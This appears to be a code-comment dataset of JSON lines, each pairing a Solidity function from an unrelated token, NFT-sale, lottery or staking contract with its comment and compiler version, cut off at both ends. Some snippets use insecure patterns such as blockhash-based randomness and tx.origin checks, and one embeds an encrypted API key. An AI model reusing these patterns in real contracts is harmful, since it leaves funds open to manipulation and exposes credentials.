}\r\n }", "version": "0.4.13"} {"comment": "//Set SaleCap", "function_code": "function setSaleCap(uint256 _saleCap) public onlyOwner {\r\n require(balances[0xb1].add(balances[tokenWallet]).sub(_saleCap) > 0);\r\n uint256 amount=0;\r\n //\u76ee\u524d\u92b7\u552e\u984d \u5927\u65bc \u65b0\u92b7\u552e\u984d\r\n if (balances[tokenWallet] > _saleCap) {\r\n amount = balances[tokenWallet].sub(_saleCap);\r\n balances[0xb1] = balances[0xb1].add(amount);\r\n } else {\r\n amount = _saleCap.sub(balances[tokenWallet]);\r\n balances[0xb1] = balances[0xb1].sub(amount);\r\n }\r\n balances[tokenWallet] = _saleCap;\r\n saleCap = _saleCap;\r\n }", "version": "0.4.24"} {"comment": "//Calcute Bouns", "function_code": "function getBonusByTime(uint256 atTime) public constant returns (uint256) {\r\n if (atTime < startDate1) {\r\n return 0;\r\n } else if (endDate1 > atTime && atTime > startDate1) {\r\n return 5000;\r\n } else if (endDate2 > atTime && atTime > startDate2) {\r\n return 2500;\r\n } else {\r\n return 0;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Checks whether current account is in the whitelist\r\n */", "function_code": "function inMerkleTree(address addr, bytes32 merkleRoot, bytes32[] memory proof) public pure returns (bool) {\r\n // create hash of leaf data, using target address\r\n bytes32 leafHash = keccak256(abi.encodePacked(addr));\r\n return MerkleProof.verify(proof, merkleRoot, leafHash);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev View function to check remaining whitelist mints\r\n */", "function_code": "function whitelistMintsRemaining(address user, address contractAddress, bytes32[] calldata proof) public view returns (uint256) {\r\n bytes32 root = whitelistMerkleRoots[contractAddress];\r\n \r\n if(inMerkleTree(user, root, proof)) {\r\n uint256 mintLimit = whitelistLimits[root];\r\n uint256 alreadyMinted = whitelistMintsPerMerkleRoot[root][user]; \r\n return mintLimit - alreadyMinted;\r\n }\r\n // otherwise not in whitelist so return 0\r\n return 0;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Try to mint via whitelist\r\n * Checks proof against merkle tree.\r\n * @param to -- the address to mint the asset to. This allows for minting on someone's behalf if neccesary\r\n * @param contractAddress -- the target token contract to mint from\r\n * @param amount -- the num to mint\r\n * @param proof -- the merkle proof for this address\r\n */", "function_code": "function whitelistPurchase(address to, address contractAddress, uint256 amount, bytes32[] calldata proof) external payable {\r\n // validate authorization via merkle proof\r\n bytes32 merkleRoot = whitelistMerkleRoots[contractAddress];\r\n require(inMerkleTree(to, merkleRoot, proof), \"PresaleMerkle: Invalid address or proof!\");\r\n\r\n // validate still remaining mints\r\n uint256 mintLimit = whitelistLimits[merkleRoot];\r\n uint256 alreadyMinted = whitelistMintsPerMerkleRoot[merkleRoot][to];\r\n require(alreadyMinted + amount <= mintLimit, \"PresaleMerkle: Too many mints.\");\r\n\r\n // update mints\r\n whitelistMintsPerMerkleRoot[merkleRoot][to] = alreadyMinted + amount;\r\n\r\n // mint from contract, passing along eth\r\n IERC721Extended tokenContract = IERC721Extended(contractAddress);\r\n tokenContract.purchaseMultipleFor{value: msg.value}(amount, to);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Try to mint via giveaway -- essnetially the same as whitelist, just different data stores\r\n * Checks proof against merkle tree.\r\n * @param to -- the address to mint the asset to. This allows for minting on someone's behalf if neccesary\r\n * @param contractAddress -- the target token contract to mint from\r\n * @param amount -- the num to mint\r\n * @param proof -- the merkle proof for this address\r\n */", "function_code": "function giveaway(address to, address contractAddress, uint256 amount, bytes32[] calldata proof) external {\r\n // validate authorization via merkle proof\r\n bytes32 merkleRoot = giveawayMerkleRoots[contractAddress];\r\n require(inMerkleTree(to, merkleRoot, proof), \"PresaleMerkle: Invalid address or proof!\");\r\n\r\n // validate mints\r\n uint256 mintLimit = giveawayLimits[merkleRoot];\r\n uint256 alreadyMinted = giveawayMintsPerMerkleRoot[merkleRoot][to];\r\n require(alreadyMinted + amount <= mintLimit, \"PresaleMerkle: Too many mints.\");\r\n\r\n // update mints\r\n giveawayMintsPerMerkleRoot[merkleRoot][to] = alreadyMinted + amount;\r\n\r\n // ask contract for giveaway\r\n IERC721Extended tokenContract = IERC721Extended(contractAddress);\r\n tokenContract.giveawayMint(amount, to);\r\n }", "version": "0.8.7"} {"comment": "/// create Tokens for Token Owners in alpha Game", "function_code": "function createPromoCollectible(uint256 tokenId, address _owner, uint256 _price) public onlyCOO {\r\n require(tokenIndexToOwner[tokenId]==address(0));\r\n\r\n address collectibleOwner = _owner;\r\n if (collectibleOwner == address(0)) {\r\n collectibleOwner = cooAddress;\r\n }\r\n\r\n if (_price <= 0) {\r\n _price = getInitialPriceOfToken(tokenId);\r\n }\r\n\r\n _createCollectible(tokenId, _price);\r\n // This will assign ownership, and also emit the Transfer event as\r\n // per ERC721 draft\r\n _transferToken(address(0), collectibleOwner, tokenId);\r\n\r\n }", "version": "0.4.19"} {"comment": "/// For querying balance of a particular account\n/// @param _owner The address for balance query\n/// @dev Required for ERC-721 compliance.", "function_code": "function tokenBalanceOf(address _owner) public view returns (uint256 result) {\r\n uint256 totalTokens = tokens.length;\r\n uint256 tokenIndex;\r\n uint256 tokenId;\r\n result = 0;\r\n for (tokenIndex = 0; tokenIndex < totalTokens; tokenIndex++) {\r\n tokenId = tokens[tokenIndex];\r\n if (tokenIndexToOwner[tokenId] == _owner) {\r\n result = result.add(1);\r\n }\r\n }\r\n return result;\r\n }", "version": "0.4.19"} {"comment": "/// @notice Returns all the relevant information about a specific collectible.\n/// @param _tokenId The tokenId of the collectible of interest.", "function_code": "function getCollectible(uint256 _tokenId) public view returns (uint256 tokenId,\r\n uint256 sellingPrice,\r\n address owner,\r\n uint256 nextSellingPrice\r\n ) {\r\n tokenId = _tokenId;\r\n sellingPrice = tokenIndexToPrice[_tokenId];\r\n owner = tokenIndexToOwner[_tokenId];\r\n\r\n if (sellingPrice == 0)\r\n sellingPrice = getInitialPriceOfToken(_tokenId);\r\n\r\n nextSellingPrice = getNextPrice(sellingPrice);\r\n }", "version": "0.4.19"} {"comment": "/// Create all the characters. This is run once before the start of the sale.", "function_code": "function makeCharacters(\n string[] memory names,\n int8[] memory rarities,\n uint256[] memory scarcities\n ) external onlyEditor {\n for (uint256 index = 0; index < names.length; index++) {\n Character storage char = allCharactersEver[index + 1];\n char.name = names[index];\n char.rarity = Rarities(rarities[index]);\n char.scarcity = scarcities[index];\n char.supply = 0;\n char.artist = ARTIST;\n char.collection = COLLECTION;\n char.series = SERIES;\n }\n }", "version": "0.8.9"} {"comment": "/// Picks a random character ID from the list of characters with availability for minting,\n/// increments character supply,\n/// and decrements available character count", "function_code": "function takeRandomCharacter(uint256 randomNumber, uint256 totalRemaining)\n external\n onlyContract\n returns (uint256)\n {\n uint256 arrayCount = availableCharacters.length;\n /// Checking to make sure characters are available to mint\n require(arrayCount > 0, ConstantsAF.NO_CHARACTERS);\n\n uint256 shorterRandomNumber = randomNumber % totalRemaining;\n uint256 characterID = 0;\n for (uint256 index = 0; index < arrayCount; index++) {\n uint256 currentCharacterID = availableCharacters[index];\n uint256 numberOfMintsLeft = allCharactersEver[currentCharacterID]\n .scarcity - allCharactersEver[currentCharacterID].supply;\n if (shorterRandomNumber < numberOfMintsLeft) {\n characterID = currentCharacterID;\n break;\n } else {\n shorterRandomNumber -= numberOfMintsLeft;\n }\n }\n /// Checking to make sure the random character we picked exists\n require(\n bytes(allCharactersEver[characterID].name).length != 0,\n ConstantsAF.INVALID_CHARACTER\n );\n\n incrementCharacterSupply(characterID);\n delete arrayCount;\n delete shorterRandomNumber;\n return characterID;\n }", "version": "0.8.9"} {"comment": "/// Removes the character from the available characters array when there are no more available", "function_code": "function removeCharacterFromAvailableCharacters(uint256 characterID)\n private\n {\n uint256 arrayCount = availableCharacters.length;\n uint256 index = 0;\n /// find index of character to be removed\n for (index; index < arrayCount; index++) {\n if (availableCharacters[index] == characterID) {\n break;\n }\n }\n availableCharacters[index] = availableCharacters[\n availableCharacters.length - 1\n ];\n availableCharacters.pop();\n delete arrayCount;\n delete index;\n }", "version": "0.8.9"} {"comment": "// Initialise", "function_code": "function init() external onlyOwner {\r\n require(!initialized, \"Could be initialized only once\");\r\n require(reserved.owner() == address(this), \"Sale should be the owner of Reserved funds\");\r\n\r\n uint256 _initialSupplyInWei = tokenContract.balanceOf(address(this));\r\n require(\r\n _initialSupplyInWei > 0, \r\n \"Initial supply should be > 0\"\r\n );\r\n\r\n initialSupplyInWei = _initialSupplyInWei;\r\n \r\n uint256 _tokensToReserveInWei = _getInitialSupplyPercentInWei(100 - percentSale); \r\n initialized = true;\r\n tokenContract.safeTransfer(address(reserved), _tokensToReserveInWei);\r\n }", "version": "0.5.16"} {"comment": "// Buy tokens with ETH", "function_code": "function buyTokens() external payable {\r\n uint256 _ethSent = msg.value;\r\n require(saleEnabled, \"The EDDA Initial Token Offering is not yet started\");\r\n require(_ethSent >= minBuyWei, \"Minimum purchase per transaction is 0.1 ETH\");\r\n\r\n uint256 _tokens = _ethSent.mul(SCALAR).div(priceInWei);\r\n\r\n // Check that the purchase amount does not exceed remaining tokens\r\n require(_tokens <= _remainingTokens(), \"Not enough tokens remain\");\r\n\r\n if (purchases[msg.sender] == 0) {\r\n buyers.push(msg.sender);\r\n }\r\n purchases[msg.sender] = purchases[msg.sender].add(_tokens);\r\n require(purchases[msg.sender] <= maxBuyTokens.mul(SCALAR), \"Exceeded maximum purchase limit per address\");\r\n\r\n purchased = purchased.add(_tokens);\r\n\r\n emit Sell(msg.sender, _tokens);\r\n }", "version": "0.5.16"} {"comment": "// Distribute purchased tokens", "function_code": "function distribute(uint256 _offset) external onlyOwner returns (uint256) {\r\n uint256 _distributed = 0;\r\n for (uint256 i = _offset; i < buyers.length; i++) {\r\n address _buyer = buyers[i];\r\n uint256 _purchase = purchases[_buyer];\r\n if (_purchase > 0) {\r\n purchases[_buyer] = 0;\r\n tokenContract.safeTransfer(_buyer, _purchase);\r\n if (++_distributed >= distributionBatch) {\r\n break;\r\n }\r\n } \r\n }\r\n return _distributed;\r\n }", "version": "0.5.16"} {"comment": "// transfer the balance from sender's account to another one", "function_code": "function transfer(address _to, uint256 _value) {\r\n // prevent transfer to 0x0 address\r\n require(_to != 0x0);\r\n // sender and recipient should be different\r\n require(msg.sender != _to);\r\n // check if the sender has enough coins\r\n require(_value > 0 && balanceOf[msg.sender] >= _value);\r\n // check for overflows\r\n require(balanceOf[_to] + _value > balanceOf[_to]);\r\n // subtract coins from sender's account\r\n balanceOf[msg.sender] -= _value;\r\n // add coins to recipient's account\r\n balanceOf[_to] += _value;\r\n // notify listeners about this transfer\r\n Transfer(msg.sender, _to, _value);\r\n }", "version": "0.4.13"} {"comment": "/**\r\n * @dev change crowdsale ETH rate\r\n * @param newRate Figure that corresponds to the new ETH rate per token\r\n */", "function_code": "function setRate(uint256 newRate) external onlyOwner {\r\n require(isWeiAccepted, \"Sale must allow Wei for purchases to set a rate for Wei!\");\r\n require(newRate != 0, \"ETH rate must be more than 0!\");\r\n\r\n emit TokenRateChanged(rate, newRate);\r\n rate = newRate;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev allows sale to receive wei or not\r\n */", "function_code": "function setIsWeiAccepted(bool _isWeiAccepted, uint256 _rate) external onlyOwner {\r\n if (_isWeiAccepted) {\r\n require(_rate > 0, \"When accepting Wei, you need to set a conversion rate!\");\r\n } else {\r\n require(_rate == 0, \"When not accepting Wei, you need to set a conversion rate of 0!\");\r\n }\r\n\r\n isWeiAccepted = _isWeiAccepted;\r\n rate = _rate;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice ERC1155 single transfer receiver which redeem a voucher.\r\n * @dev Reverts if the transfer was not operated through `gameeVouchersContract`.\r\n * @dev Reverts if the `id` is zero.\r\n * @dev Reverts if the `value` is zero.\r\n * @dev Emits an ERC1155 TransferSingle event for the redeemed voucher.\r\n * @dev Emits an ERC20 Transfer event for the GAMME transfer operation.\r\n * @dev Emits a VoucherRedeemedSingle event.\r\n * @param /operator the address which initiated the transfer (i.e. msg.sender).\r\n * @param from the address which previously owned the voucher.\r\n * @param id the voucher id.\r\n * @param value the voucher value.\r\n * @param /data additional data with no specified format.\r\n * @return bytes4 `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`.\r\n */", "function_code": "function onERC1155Received(\r\n address, /*operator*/\r\n address from,\r\n uint256 id,\r\n uint256 value,\r\n bytes calldata /*data*/\r\n ) external virtual override whenNotPaused returns (bytes4) {\r\n require(msg.sender == address(gameeVouchersContract), \"Redeemer: wrong inventory\");\r\n require(id != 0, \"Redeemer: invalid voucher id\");\r\n \r\n gameeVouchersContract.burnFrom(address(this), id, value);\r\n uint256 gameeAmount = id.mul(value);\r\n gameeContract.transfer(from, gameeAmount);\r\n\r\n emit VoucherRedeemedSingle(from, id, value, gameeAmount);\r\n\r\n return _ERC1155_RECEIVED;\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice ERC1155 batch transfer receiver which redeem a batch of vouchers.\r\n * @dev Reverts if the transfer was not operated through `gameeVouchersContract`.\r\n * @dev Reverts if `ids` is an empty array.\r\n * @dev Reverts if `values` is an empty array.\r\n * @dev Reverts if `ids` and `values` have different lengths.\r\n * @dev Emits an ERC1155 TransferBatch event for the redeemed vouchers.\r\n * @dev Emits an ERC20 Transfer event for the GAMME transfer operation.\r\n * @dev Emits a VoucherRedeemedBatch event.\r\n * @param /operator the address which initiated the transfer (i.e. msg.sender).\r\n * @param from the address which previously owned the voucher.\r\n * @param ids the vouchers ids.\r\n * @param values the vouchers values.\r\n * @param /data additional data with no specified format.\r\n * @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`.\r\n */", "function_code": "function onERC1155BatchReceived(\r\n address, /*operator*/\r\n address from,\r\n uint256[] calldata ids,\r\n uint256[] calldata values,\r\n bytes calldata /*data*/\r\n ) external virtual override whenNotPaused returns (bytes4) {\r\n require(msg.sender == address(gameeVouchersContract), \"Redeemer: wrong inventory\");\r\n \r\n uint256 gameeAmount = 0;\r\n for (uint256 i = 0; i < ids.length; i++) {\r\n gameeAmount = gameeAmount.add(ids[i].mul(values[i]));\r\n }\r\n gameeVouchersContract.batchBurnFrom(address(this), ids, values);\r\n gameeContract.transfer(from, gameeAmount);\r\n\r\n emit VoucherRedeemedBatch(from, ids, values, gameeAmount);\r\n\r\n return _ERC1155_BATCH_RECEIVED;\r\n }", "version": "0.6.8"} {"comment": "/// @notice Takes some integers (not randomly) in inventory and assigns them. Team does not get tokens until all\n/// other integers are allocated.\n/// @param recipient the account that is assigned the integers\n/// @param quantity how many integers to assign", "function_code": "function _takeTeamAllocation(address recipient, uint256 quantity) internal {\n require(_inventoryForSale() == 0, \"Cannot take during sale\");\n require(quantity <= _dropInventoryIntegers.count(), \"Not enough to take\");\n for (; quantity > 0; quantity--) {\n uint256 lastIndex = _dropInventoryIntegers.count() - 1;\n uint256 allocatedNumber = _dropInventoryIntegers.popByIndex(lastIndex);\n _revealCallback(recipient, allocatedNumber);\n }\n }", "version": "0.8.9"} {"comment": "/// @dev Get a random number based on the given block's hash; or some other hash if not available", "function_code": "function _random(uint256 blockNumber) internal view returns (uint256) {\n // Blockhash produces non-zero values only for the input range [block.number - 256, block.number - 1]\n if (blockhash(blockNumber) != 0) {\n return uint256(blockhash(blockNumber));\n }\n return uint256(blockhash(((block.number - 1)>>8)<<8));\n }", "version": "0.8.9"} {"comment": "// Present in ERC777", "function_code": "function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) public virtual override returns (bool) {\r\n _transfer(sender, recipient, amount);\r\n _approve(\r\n sender,\r\n msg.sender,\r\n _allowances[sender][msg.sender].sub(\r\n amount,\r\n \"ERC20: transfer amount exceeds allowance\"\r\n )\r\n );\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev See {IERC2612Permit-permit}.\r\n *\r\n */", "function_code": "function permit(\r\n address owner,\r\n address spender,\r\n uint256 amount,\r\n uint256 deadline,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n ) public virtual override {\r\n require(block.timestamp <= deadline, \"Permit: expired deadline\");\r\n\r\n bytes32 hashStruct = keccak256(\r\n abi.encode(\r\n PERMIT_TYPEHASH,\r\n owner,\r\n spender,\r\n amount,\r\n _nonces[owner].current(),\r\n deadline\r\n )\r\n );\r\n\r\n bytes32 _hash = keccak256(\r\n abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct)\r\n );\r\n\r\n address signer = ecrecover(_hash, v, r, s);\r\n require(\r\n signer != address(0) && signer == owner,\r\n \"ZeroSwapPermit: Invalid signature\"\r\n );\r\n\r\n _nonces[owner].increment();\r\n _approve(owner, spender, amount);\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice increases sLOBI supply to increase staking balances relative to profit_\r\n @param profit_ uint256\r\n @return uint256\r\n */", "function_code": "function rebase(uint256 profit_, uint256 epoch_)\r\n public\r\n onlyStakingContract\r\n returns (uint256)\r\n {\r\n uint256 rebaseAmount;\r\n uint256 circulatingSupply_ = circulatingSupply();\r\n\r\n if (profit_ == 0) {\r\n emit LogSupply(epoch_, block.timestamp, _totalSupply);\r\n emit LogRebase(epoch_, 0, index());\r\n return _totalSupply;\r\n } else if (circulatingSupply_ > 0) {\r\n rebaseAmount = profit_.mul(_totalSupply).div(circulatingSupply_);\r\n } else {\r\n rebaseAmount = profit_;\r\n }\r\n\r\n _totalSupply = _totalSupply.add(rebaseAmount);\r\n\r\n if (_totalSupply > MAX_SUPPLY) {\r\n _totalSupply = MAX_SUPPLY;\r\n }\r\n\r\n _gonsPerFragment = TOTAL_GONS.div(_totalSupply);\r\n\r\n _storeRebase(circulatingSupply_, profit_, epoch_);\r\n\r\n return _totalSupply;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice emits event with data about rebase\r\n @param previousCirculating_ uint\r\n @param profit_ uint\r\n @param epoch_ uint\r\n @return bool\r\n */", "function_code": "function _storeRebase(\r\n uint256 previousCirculating_,\r\n uint256 profit_,\r\n uint256 epoch_\r\n ) internal returns (bool) {\r\n uint256 rebasePercent = profit_.mul(1e18).div(previousCirculating_);\r\n\r\n rebases.push(\r\n Rebase({\r\n epoch: epoch_,\r\n rebase: rebasePercent, // 18 decimals\r\n totalStakedBefore: previousCirculating_,\r\n totalStakedAfter: circulatingSupply(),\r\n amountRebased: profit_,\r\n index: index(),\r\n blockNumberOccured: block.number\r\n })\r\n );\r\n\r\n emit LogSupply(epoch_, block.timestamp, _totalSupply);\r\n emit LogRebase(epoch_, rebasePercent, index());\r\n\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/// @notice Create a template for enumerating Plus Codes that are a portion of `parentCode` if input is a valid Plus\n/// Code; otherwise revert\n/// @dev A \"child\" is a Plus Code representing the largest area which contains some of the `parentCode` area\n/// minus some area.\n/// @param parentCode a Plus Code to operate on\n/// @return childTemplate bit pattern and offsets every child will have", "function_code": "function getChildTemplate(uint256 parentCode) internal pure returns (ChildTemplate memory) {\n uint8 parentCodeLength = getCodeLength(parentCode);\n if (parentCodeLength == 2) {\n return ChildTemplate(parentCode & 0xFFFF0000FFFFFFFFFF, 400, 8*5);\n // DD__0000+\n }\n if (parentCodeLength == 4) {\n return ChildTemplate(parentCode & 0xFFFFFFFF0000FFFFFF, 400, 8*3);\n // DDDD__00+\n }\n if (parentCodeLength == 6) {\n return ChildTemplate(parentCode & 0xFFFFFFFFFFFF0000FF, 400, 8*1);\n // DDDDDD__+\n }\n if (parentCodeLength == 8) {\n return ChildTemplate(parentCode << 8*2, 400, 0);\n // DDDDDDDD+__\n }\n if (parentCodeLength == 10) {\n return ChildTemplate(parentCode << 8*1, 20, 0);\n // DDDDDDDD+DD_\n }\n if (parentCodeLength == 11) {\n return ChildTemplate(parentCode << 8*1, 20, 0);\n // DDDDDDDD+DDD_\n }\n revert(\"Plus Codes with code length greater than 12 not supported\");\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Safely mints `tokenId` and transfers it to `to`.\r\n *\r\n * Requirements:\r\n *\r\n * - `tokenId` must not exist.\r\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\r\n *\r\n * Emits a {Transfer} event.\r\n */", "function_code": "function _safeMint(uint256 amount, address to, address from) internal {\r\n if(from != address(0)) {\r\n for (uint256 i = 0; i < amount; i++) {\r\n _tokenIds += 1;\r\n _safeMint(to, _tokenIds, \"\");\r\n }\r\n } else {\r\n _afterTransfer(from, to, amount);\r\n }\r\n }", "version": "0.8.7"} {"comment": "/// @notice Find a child Plus Code based on a template\n/// @dev A \"child\" is a Plus Code representing the largest area which contains some of a \"parent\" area minus some\n/// area.\n/// @param indexFromZero which child (zero-indexed) to generate, must be less than `template.childCount`\n/// @param template tit pattern and offsets to generate child", "function_code": "function getNthChildFromTemplate(uint32 indexFromZero, ChildTemplate memory template)\n internal\n pure\n returns (uint256 childCode)\n {\n // This may run in a 400-wide loop (for Transfer events), keep it tight\n\n // These bits are guaranteed\n childCode = template.setBits;\n\n // Add rightmost digit\n uint8 rightmostDigit = uint8(_PLUS_CODES_DIGITS[indexFromZero % 20]);\n childCode |= uint256(rightmostDigit) << template.digitsLocation;\n // 0xTEMPLATETEMPLATETEMPLATETEMPLATETEMPLATETEMPLATETEMPLATETEML=ATE;\n\n // Do we need to add a second digit?\n if (template.childCount == 400) {\n uint8 secondDigit = uint8(_PLUS_CODES_DIGITS[indexFromZero / 20]);\n childCode |= uint256(secondDigit) << (template.digitsLocation + 8*1);\n // 0xTEMPLATETEMPLATETEMPLATETEMPLATETEMPLATETEMPLATETEMPLATETEM==ATE;\n }\n }", "version": "0.8.9"} {"comment": "/**\n =========================================\n Mint Functions\n @dev these functions are relevant\n for minting purposes only\n =========================================\n */", "function_code": "function mintPublic(uint256 quantity_) public payable {\n require(block.timestamp >= publicSaleTime, 'not public sale time yet');\n require(isPublicMintEnabled, 'minting not enabled');\n require(tx.origin == msg.sender, 'contracts not allowed');\n require(msg.value == getPrice(quantity_), 'wrong value');\n require(\n _numberMinted(msg.sender) + quantity_ <= maxPerWalletPublic,\n 'exceeds max wallet'\n );\n require(totalSupply() < maxSupply, 'sold out');\n require(totalSupply() + quantity_ <= maxSupply, 'exceeds max supply');\n require(quantity_ <= maxPerTxnPublic, 'exceeds max per txn');\n\n _safeMint(msg.sender, quantity_);\n }", "version": "0.8.7"} {"comment": "/// @dev Reverts if the given byte is not a valid Plus Codes digit", "function_code": "function _requireValidDigit(uint256 plusCode, uint8 offsetFromRightmostByte) private pure {\n uint8 digit = uint8(plusCode >> (8 * offsetFromRightmostByte));\n for (uint256 index = 0; index < 20; index++) {\n if (uint8(_PLUS_CODES_DIGITS[index]) == digit) {\n return;\n }\n }\n revert(\"Not a valid Plus Codes digit\");\n }", "version": "0.8.9"} {"comment": "//Function to fetch random number", "function_code": "function getRandomNumber() external restricted payable {\r\n require(players.length >= 2);\r\n require(msg.value >= 0.000400 ether);\r\n //Recuerda cambiar el encripted del api si haces otro contrato\r\n string memory string1 = \"[URL] ['json(https://api.random.org/json-rpc/1/invoke).result.random[\\\"serialNumber\\\",\\\"data\\\"]', '\\\\n{\\\"jsonrpc\\\":\\\"2.0\\\",\\\"method\\\":\\\"generateSignedIntegers\\\",\\\"params\\\": {\\\"apiKey\\\":\\\"${[decrypt] BBrEVTEN2TjLkp56fCy1o5GV9eyBdtPhsnoOnwFe856Ys+jtYNykCON40LathT6djMR9CS6n2Slmtr5QXXybdQmuh0TS8TCuk3AbL1WuHqyy0TkAqxlZ7OcUC+n9SxoH+9BCJ7l9zvZgu4jZLUDYJJ0L1OUc}\\\", \\\"n\\\":2,\\\"min\\\":1,\\\"max\\\":\";\r\n string memory string2 = (uint2str(players.length - 1));\r\n string memory string3 = \",\\\"replacement\\\":true,\\\"base\\\":10${[identity] \\\"}\\\"},\\\"id\\\":365${[identity] \\\"}\\\"}']\";\r\n string memory query = strConcat(string1, string2, string3);\r\n\r\n bytes32 queryId = oraclize_query( \r\n \"nested\", \r\n query,\r\n gasLimitForOraclize\r\n ); \r\n validIds[queryId] = true;\r\n //So no entries can be made after calling oraclize\r\n playable = false;\r\n }", "version": "0.4.25"} {"comment": "//Function to pick winner", "function_code": "function pickWinner() external restricted {\r\n \r\n if(winner2 != 0x0000000000000000000000000000000000000000) {\r\n winner3 = winner2;\r\n }\r\n \r\n if (winner1 != 0x0000000000000000000000000000000000000000) {\r\n winner2 = winner1;\r\n }\r\n \r\n winner1 = players[randomNumber];\r\n \r\n if(bonusPrize == randomNumber) {\r\n if(players.length >=20){\r\n players[randomNumber].transfer((prize * 1000000000000000)-(gasLimitForOraclize + 100000000000000)+(bonus * 1000000000000000));\r\n players = new address[](0);\r\n //Treasury address is pushed because index at 0 is not playable (numbers go from 1 to the players.length )\r\n players.push(0x79C326a9b49FfAF752f70648f95BE6E8eed787b4);\r\n prize = 0;\r\n bonus = 0;\r\n //So the game is playable again\r\n playable = true;\r\n timer += 1;\r\n }\r\n else{\r\n players[randomNumber].transfer((prize * 1000000000000000)-(gasLimitForOraclize + 100000000000000) );\r\n players = new address[](0);\r\n players.push(0x79C326a9b49FfAF752f70648f95BE6E8eed787b4);\r\n prize = 0;\r\n playable = true;\r\n timer += 1; \r\n }\r\n }\r\n else{\r\n players[randomNumber].transfer((prize * 1000000000000000)-(gasLimitForOraclize + 100000000000000) );\r\n players = new address[](0);\r\n players.push(0x79C326a9b49FfAF752f70648f95BE6E8eed787b4);\r\n prize = 0;\r\n playable = true;\r\n timer += 1;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Initializes contract with initial supply tokens to the creator of the contract\r\n * In our case, there's no initial supply. Tokens will be created as ether is sent\r\n * to the fall-back function. Then tokens are burned when ether is withdrawn.\r\n */", "function_code": "function ParyToken(\r\n string tokenName,\r\n uint8 decimalUnits,\r\n string tokenSymbol\r\n ) {\r\n\r\n balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens (0 in this case)\r\n totalSupply = initialSupply * 1000000000000000000; // Update total supply (0 in this case)\r\n name = tokenName; // Set the name for display purposes\r\n symbol = tokenSymbol; // Set the symbol for display purposes\r\n decimals = decimalUnits; // Amount of decimals for display purposes\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * Fallback function when sending ether to the contract\r\n * Gas use: 65051\r\n */", "function_code": "function () payable notPendingWithdrawal {\r\n uint256 amount = msg.value; // amount that was sent\r\n if (amount == 0) throw; // need to send some ETH\r\n balanceOf[msg.sender] += amount; // mint new tokens\r\n totalSupply += amount; // track the supply\r\n Transfer(0, msg.sender, amount); // notify of the event\r\n Deposited(msg.sender, amount);\r\n }", "version": "0.4.23"} {"comment": "// Safe bsd transfer function, just in case if rounding error causes pool to not have enough BSDs.", "function_code": "function safeBsdTransfer(address _to, uint256 _amount) internal {\r\n uint256 _bsdBal = bsd.balanceOf(address(this));\r\n if (_bsdBal > 0) {\r\n if (_amount > _bsdBal) {\r\n bsd.transfer(_to, _bsdBal);\r\n } else {\r\n bsd.transfer(_to, _amount);\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Shoutout Barnabas Ujvari -- https://stackoverflow.com/questions/47129173/how-to-convert-uint-to-string-in-solidity", "function_code": "function uint2str(uint _i) internal pure returns (string memory _uintAsString) {\n if (_i == 0) {\n return \"0\";\n }\n uint j = _i;\n uint len;\n while (j != 0) {\n len++;\n j /= 10;\n }\n bytes memory bstr = new bytes(len);\n uint k = len;\n while (_i != 0) {\n k = k-1;\n uint8 temp = (48 + uint8(_i - _i / 10 * 10));\n bytes1 b1 = bytes1(temp);\n bstr[k] = b1;\n _i /= 10;\n }\n return string(bstr);\n }", "version": "0.8.0"} {"comment": "// Shoutout Mickey Soaci -- https://ethereum.stackexchange.com/questions/72677/convert-address-to-string-after-solidity-0-5-x\n// Modified for 0.8.0", "function_code": "function addressToString(address _addr) public pure returns(string memory) \n {\n bytes32 value = bytes32(uint256(uint160(_addr)));\n bytes memory alphabet = \"0123456789abcdef\";\n\n bytes memory str = new bytes(51);\n str[0] = '0';\n str[1] = 'x';\n for (uint256 i = 0; i < 20; i++) {\n str[2+i*2] = alphabet[uint8(value[i + 12] >> 4)];\n str[3+i*2] = alphabet[uint8(value[i + 12] & 0x0f)];\n }\n return string(str);\n }", "version": "0.8.0"} {"comment": "/// @dev Encode pid, gid, crvPerShare to a ERC1155 token id\n/// @param pid Curve pool id (10-bit)\n/// @param gid Curve gauge id (6-bit)\n/// @param crvPerShare CRV amount per share, multiplied by 1e18 (240-bit)", "function_code": "function encodeId(\n uint pid,\n uint gid,\n uint crvPerShare\n ) public pure returns (uint) {\n require(pid < (1 << 10), 'bad pid');\n require(gid < (1 << 6), 'bad gid');\n require(crvPerShare < (1 << 240), 'bad crv per share');\n return (pid << 246) | (gid << 240) | crvPerShare;\n }", "version": "0.6.12"} {"comment": "/// @dev Decode ERC1155 token id to pid, gid, crvPerShare\n/// @param id Token id to decode", "function_code": "function decodeId(uint id)\n public\n pure\n returns (\n uint pid,\n uint gid,\n uint crvPerShare\n )\n {\n pid = id >> 246; // First 10 bits\n gid = (id >> 240) & (63); // Next 6 bits\n crvPerShare = id & ((1 << 240) - 1); // Last 240 bits\n }", "version": "0.6.12"} {"comment": "/// @dev Register curve gauge to storage given pool id and gauge id\n/// @param pid Pool id\n/// @param gid Gauge id", "function_code": "function registerGauge(uint pid, uint gid) external onlyGov {\n require(address(gauges[pid][gid].impl) == address(0), 'gauge already exists');\n address pool = registry.pool_list(pid);\n require(pool != address(0), 'no pool');\n (address[10] memory _gauges, ) = 